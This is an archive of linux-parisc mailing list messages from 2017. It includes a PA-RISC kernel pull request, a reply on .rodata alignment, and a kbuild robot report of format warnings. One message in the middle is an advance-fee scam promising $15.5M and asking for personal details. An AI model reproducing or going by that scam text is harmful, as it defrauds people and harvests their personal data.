X-UI-Out-Filterresults: notjunk:1;V01:K0:lwqLLTueyUA=:39Y/h3lD9906axo78wN5C9
 DIwcxpC9/B97TYQtll9v8KFg75pxgPvuYiXXAUL/uyz+auKqPb6YecHWKOVNd5fJwYxqnWxI6
 ACU+Vw701nlMk8T7Y9aV5INBQ5VGftt6J5TrJlbrLD4jrSAnpwVvFua9865nWbcxFUg7iVFE/
 Pj/Y/VyLvdTfL1fvy+U1IIwFs0pdBtrjYVAKzGxSyMXj0Rw33gHDwS41nWwH4cgMP3lR90h1H
 Z2b2E5pCyivcZROdcjny4AVpjDpaEaiJtHi7M5CHvuow8bJx17XX7TsN0pTbdA9IqIlOu1/9X
 RU034oDWrDYL3TrFSOhKwCuHlxb7d7vxpCtkscJkIUg2dOzjt/t8gTVQ3qpGV90AMvow8dj9m
 3hSMNhIawNnoUeQpwJgeHW6i+TVtJ9lRvQBq1vFdpJl6WkFzrHjdNllRHVMNEFRGbdUCO4SDa
 QzLsQIks/GRJiT1cE1nPIW91D+LgZmwF6PDda2enLPGQQ4lUo7k1TAnef+ZzP70tEbn3BDJHx
 XUukQFTGAK3DBenPh+7uAu+wDBeusZZG83B7cz2FxJI3mXtCLKtlGHHRZVIawa/2rU4TJbG2d
 +vXe3gpJapzG1rzcAnukmjVL6OctKcR+5vb5Vt38oW1ZlLA45jwQEDKvR4+ODHOVFrE2pjPFy
 orAPhmsn8AZrNV/Q1Uv0PzMyGkcJuNhyAd07QIwOul2lMPtL+Qx4pcOOFKXRzq5XcszDfI7lC
 eKmok+fkmxh8/0f0LEAKZgd2009U1islhCQo4rSsZURCEZ5S3/f09wRG1Zcyw84kqsRBwRMc 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27695 gmane.linux.kernel:2551484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27695>

Hi Linus,

please pull two small patches from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.13-5

Changelog:

- Fix PCI memory bar assignments with 64-bit kernels on machines with Dino/Cujo
  PCI chipsets. This makes PCI graphic cards work on such machines (from Thomas
  Bogendoerfer).

- Fix documentation to be more clear about the difference between %pF and %pS
  printk format usage. There are still many places in the kernel which have it
  wrong (from Petr Mladek, Sergey Senozhatsky & me).

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      printk-formats.txt: Better describe the difference between %pS and %pF

Thomas Bogendoerfer (1):
      parisc: pci memory bar assignment fails with 64bit kernels on dino/cujo

 Documentation/printk-formats.txt | 19 +++++++++++--------
 drivers/parisc/dino.c            |  2 +-
 2 files changed, 12 insertions(+), 9 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa: rodata_test: start of .rodata is not page size aligned
Date: Thu, 17 Aug 2017 20:38:09 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <769ea943-59da-80cb-ac74-726887656bf6@gmx.de>
References: <alpine.LRH.2.20.1708172113460.7500@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502995103 16888 195.159.176.226 (17 Aug 2017 18:38:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 18:38:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Jinbum Park <jinb.park7@gmail.com>
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 20:38:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1diPgL-00039n-Ki
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 20:38:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752647AbdHQSiP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Aug 2017 14:38:15 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:54999 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752403AbdHQSiO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Aug 2017 14:38:14 -0400
Original-Received: from [192.168.20.60] ([193.159.30.227]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MAxyW-1dq5CA3NK8-009xXQ; Thu, 17
 Aug 2017 20:38:11 +0200
In-Reply-To: <alpine.LRH.2.20.1708172113460.7500@math.ut.ee>
Content-Language: en-US
X-Provags-ID: V03:K0:cJejeif1qJA5WPgIPBFF0mCF8C56Bh7qw6lboZ1IUWc7XNs1Voq
 SfL7rhRMrcU5YmvVy/YczpL85BnQyjOeNmDLyzFdT6UOW0UMq7g5YATEj/D9I6rxaFi3QaK
 197CCngLeIHYzpg84touHayUdOMpuUOworFFI8avb8blNglIP7Yc1bys41Xt97sBW+EibgP
 Cr53xNE9nSLHO2Wk78F6Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ABBqYePtsNE=:5LM//7uIfoVrHpCZQpbx45
 Q7PTHPz7fN0yZmMFNhpoPH1fPf9YX3ZyIZhi1GJYS8kAuljNMO3XUwgn0m95/A/r2+Q0/6B3K
 P/t68wS/f8MxLNJAO6LnYzXpjsYyvNLQhBnSEs4JtJk2WKNP0kn8YojIrlihsgJPFnZ6djNhz
 11OtxNL927qc0qiwhMoMh375XHr2pdX1CqrjE+OuwzOXJi4nByTdcK17vAR72hrbxup1CnjXl
 pwUO4fsQavLZH++zrLSC32UckZ8YXbairG+BJuzN+QMdCiz7LnDV8bKXPVeJmALlYjft0/Pps
 Yndu3fMEzc2PSdLXODi8a1GbTumUMzd0yGQzPNRf5i1Mwc5/ESxrUcUtV3N/kPtb17i3OP2dx
 4e6fGS1x33dW0WCjsgwyIgCsTIkr6XDFZtUW0PTz+5TEsPXXlUpOw6VcknCY5fLN7DyZ9gxHV
 49xI996CsDJnz4egkhl7beaEyzFkEAjeNPa6WJ8fAJZAYipZ8QgWeM4HrPi+zr7nVF8bjORPC
 6sJTZDmxcxVUo37hWGneXd30HKMA26hebRPdS/T9XrGsBXg/b+lCzlpHyD6q35T10JCG8p2fA
 aJCMY0BA7cGp0dWHZFpltedem/5fsZdwcAZoJgW/7vZA9v/+3ZcM3S50XlNfiwiSLbWYqtpK9
 BL4GPYm9evMATgL3UqY4+ydEWSusjHfDn3hSE2O6QZSml6gPxs75/2uMt5uBp6YJgROYq4P/l
 8JwUCE/3dUJjt25JOXBF9mMaJjl0ryo60sdZKHm8lofQZwncvT0wtwnHQKj5+tLUWgeNB6vl 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27696>

On 17.08.2017 20:15, Meelis Roos wrote:
> Today I compiled 4.13-rc5+git on my farm on on one of my parisc boxes I 
> got the following warning in dmesg:
> 
> rodata_test: start of .rodata is not page size aligned

In arch/parisc/kernel/vmlinux.lds.S we have:
	RO_DATA_SECTION(8)
so it's 8-byte aligned, and directly behind the linkage tables (on 64bit)
and before the exception tables which all will be mapped read-only as well.

I see no reason why we should waste space by aligning it on PAGE_SIZE boundary.
I'd say this test result is in our case bogus...

Helge 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mr Abdul Karim <abdul7karim76@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Assalamu`Alaikum.
Date: Fri, 18 Aug 2017 20:25:56 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <CANA_n=RK+DfNRCD=t6ix3NwktLX0hZPv86AxpMTwoWmUOpbnNQ@mail.gmail.com>
Reply-To: abdulkarim7543@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1503080761 7223 195.159.176.226 (18 Aug 2017 18:26:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 Aug 2017 18:26:01 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 18 20:25:57 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dilxw-0005zg-1Y
	for glpp-linux-parisc@m.gmane.org; Fri, 18 Aug 2017 20:25:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751447AbdHRSZ6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 18 Aug 2017 14:25:58 -0400
Original-Received: from mail-wm0-f66.google.com ([74.125.82.66]:38377 "EHLO
        mail-wm0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751446AbdHRSZ6 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 18 Aug 2017 14:25:58 -0400
Original-Received: by mail-wm0-f66.google.com with SMTP id y206so5032982wmd.5
        for <linux-parisc@vger.kernel.org>; Fri, 18 Aug 2017 11:25:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:sender:from:date:message-id:subject:to;
        bh=gM+0Gt8QvYzK/gz5PSAF4Rzl0NyG00RlwEHljAKRDv4=;
        b=anohAjOrLoUFrvSsWHc8aEVsElJeuYmKdymjM5k1YWo3Up5Nl88jM7xtHJVW8pzoyU
         5dDLQBfGWdo2sp4odkEJfgujP/KomkImJRIAkDGKCBYNGi4Np43gX/iSkBbNVdTjzh69
         Lo2pMFuFTtoh7iMK0JS1rXPcICnAOFSFGMqMCJk+VM1XUL0LVZdez7r5pA1M2+as5KEb
         +C/huN5J/Xh5ZaPIqvZuTXJ795QUvTIfUuKxlToyQMKF8wRegoabGTrwQ6XVwPq2x8W+
         Da6c9nJcJA5/2xcLyarIRugHjtnfGOvR63vkc1oPv/tzYGjjB1IG3ItNFbVhPAw2nRbg
         zqCA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:sender:from:date
         :message-id:subject:to;
        bh=gM+0Gt8QvYzK/gz5PSAF4Rzl0NyG00RlwEHljAKRDv4=;
        b=JIYL26rAjs9HBmwTTMho/6kyzmQTJvEXQu2kZ2+OTht7SBoIdEvdK7NehuyIx/4cHy
         tub781IfhfD9cHMqAToX5Dhr09t0JcWPy1TXO0h2LDig3xPCBo6SVO8k4ODb0rdlSkIb
         PDjvlJwSm+FqKZCznebUISvdfm5CWWklYA+meQXSzYTued0x6TvkwErASpaRVM1J4hIJ
         fpX0vZAzc5wZDFK48o86XYBNqkKMlyF5nuc9q5lSFUB6plYoyC80eMRm4DFr2MJO3PIQ
         EBxBZfpIigKVJq8JnUNjmBLhExJV0kQL5NDtucAlBJcLMkSo6ECsPREo8YuyDGa+scuD
         jfMA==
X-Gm-Message-State: AHYfb5iitKhOxWu8f5FGja4g6zUaZNaY8GBBvXU0xSIX5kPILTb1S1Ca
        dH4xhVlCQKiZNyJS3anc2QKRCC2EPw==
X-Received: by 10.80.141.70 with SMTP id t6mr5649052edt.75.1503080757149; Fri,
 18 Aug 2017 11:25:57 -0700 (PDT)
Original-Received: by 10.80.222.202 with HTTP; Fri, 18 Aug 2017 11:25:56 -0700 (PDT)
X-Google-Sender-Auth: wMDtpn3drHYmuPYDcseSRI3JlyQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27697>

Greetings from Mr. Abdul Karim

 Assalamu`Alaikum.

My Name is Mr. Abdul Karim I am a banker by profession. I'm  from
Ouagadougou, Burkinan Faso, West Africa. My reason for contacting
youbis to transfer an abandoned $15.5M to your account.

The owner of this fund died since 2004  with his Next Of Kin. I want
to present you to the bank as the Next of  Kin/beneficiary of this
fund.

Further details of the transaction shall be forwarded to you as soonas
I receive your return mail  indicating your interest.

 1) YOUR FULL NAME...............................
(2) YOUR AGE AND SEX............................
(3) YOUR CONTACT ADDRESS..................
(4) YOUR PRIVATE PHONE N0..........
(5) FAX NUMBER..............
(6) YOUR COUNTRY OF ORIGIN..................
(7) YOUR OCCUPATION.........................

Have a great day, .
Mr. Abdul Karim
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hp-parisc:boot-devel 8/10] include/linux/kern_levels.h:4:18:
 warning: format '%ld' expects argument of type 'long int', but argument 6
 has type 'uLong {aka unsigned int}'
Date: Sat, 19 Aug 2017 03:08:59 +0800
Lines: 1325
Approved: news@gmane.org
Message-ID: <201708190354.0UTXmzrh%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="liOOAslEiF7prFVr"
X-Trace: blaine.gmane.org 1503083388 24157 195.159.176.226 (18 Aug 2017 19:09:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 Aug 2017 19:09:48 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 18 21:09:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dimeD-0005Ms-C4
	for glpp-linux-parisc@m.gmane.org; Fri, 18 Aug 2017 21:09:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752411AbdHRTJi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 18 Aug 2017 15:09:38 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:64781 "EHLO mga02.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751037AbdHRTJg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 18 Aug 2017 15:09:36 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga101.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 18 Aug 2017 12:09:34 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.41,393,1498546800"; 
   d="gz'50?scan'50,208,50";a="125260547"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga002.jf.intel.com with ESMTP; 18 Aug 2017 12:09:32 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1dimik-0008DM-4a; Sat, 19 Aug 2017 03:14:14 +0800
Content-Disposition: inline
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27698>


--liOOAslEiF7prFVr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

tree:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git boot-devel
head:   fe72f15c9c037339c2b7e177698216c3d4cccc7a
commit: 76e65d530d367f9234495a84bef2efecea0fc6b9 [8/10] Define 32-bit uLong type for parisc to avoid usage of __umoddi3()
config: parisc-allmodconfig (attached as .config)
compiler: hppa-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
reproduce:
        wget https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        git checkout 76e65d530d367f9234495a84bef2efecea0fc6b9
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

All warnings (new ones prefixed by >>):

   In file included from include/linux/printk.h:6:0,
                    from include/linux/kernel.h:13,
                    from include/linux/list.h:8,
                    from include/linux/module.h:9,
                    from fs//isofs/compress.c:19:
   fs//isofs/compress.c: In function 'zisofs_uncompress_block':
>> include/linux/kern_levels.h:4:18: warning: format '%ld' expects argument of type 'long int', but argument 6 has type 'uLong {aka unsigned int}' [-Wformat=]
    #define KERN_SOH "\001"  /* ASCII Start Of Header */
                     ^
   include/linux/kern_levels.h:14:20: note: in expansion of macro 'KERN_SOH'
    #define KERN_DEBUG KERN_SOH "7" /* debug-level messages */
                       ^~~~~~~~
>> fs//isofs/compress.c:158:13: note: in expansion of macro 'KERN_DEBUG'
         printk(KERN_DEBUG
                ^~~~~~~~~~
   include/linux/kern_levels.h:4:18: warning: format '%ld' expects argument of type 'long int', but argument 7 has type 'uLong {aka unsigned int}' [-Wformat=]
    #define KERN_SOH "\001"  /* ASCII Start Of Header */
                     ^
   include/linux/kern_levels.h:14:20: note: in expansion of macro 'KERN_SOH'
    #define KERN_DEBUG KERN_SOH "7" /* debug-level messages */
                       ^~~~~~~~
>> fs//isofs/compress.c:158:13: note: in expansion of macro 'KERN_DEBUG'
         printk(KERN_DEBUG
                ^~~~~~~~~~
--
   fs//jffs2/compr_zlib.c: In function 'jffs2_zlib_compress':
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
>> fs//jffs2/compr_zlib.c:99:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "calling deflate with avail_in %ld, avail_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
>> fs//jffs2/compr_zlib.c:99:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "calling deflate with avail_in %ld, avail_out %ld\n",
      ^~~~~~~~~
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs//jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs//jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 5 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs//jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 6 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs//jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
>> fs//jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs//jffs2/compr_zlib.c:124:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "zlib compressed %ld bytes into %ld; failing\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
>> fs//jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
--
   In file included from include/linux/printk.h:6:0,
                    from include/linux/kernel.h:13,
                    from include/linux/list.h:8,
                    from include/linux/module.h:9,
                    from fs/isofs/compress.c:19:
   fs/isofs/compress.c: In function 'zisofs_uncompress_block':
>> include/linux/kern_levels.h:4:18: warning: format '%ld' expects argument of type 'long int', but argument 6 has type 'uLong {aka unsigned int}' [-Wformat=]
    #define KERN_SOH "\001"  /* ASCII Start Of Header */
                     ^
   include/linux/kern_levels.h:14:20: note: in expansion of macro 'KERN_SOH'
    #define KERN_DEBUG KERN_SOH "7" /* debug-level messages */
                       ^~~~~~~~
   fs/isofs/compress.c:158:13: note: in expansion of macro 'KERN_DEBUG'
         printk(KERN_DEBUG
                ^~~~~~~~~~
   include/linux/kern_levels.h:4:18: warning: format '%ld' expects argument of type 'long int', but argument 7 has type 'uLong {aka unsigned int}' [-Wformat=]
    #define KERN_SOH "\001"  /* ASCII Start Of Header */
                     ^
   include/linux/kern_levels.h:14:20: note: in expansion of macro 'KERN_SOH'
    #define KERN_DEBUG KERN_SOH "7" /* debug-level messages */
                       ^~~~~~~~
   fs/isofs/compress.c:158:13: note: in expansion of macro 'KERN_DEBUG'
         printk(KERN_DEBUG
                ^~~~~~~~~~
--
   fs/jffs2/compr_zlib.c: In function 'jffs2_zlib_compress':
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:99:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "calling deflate with avail_in %ld, avail_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
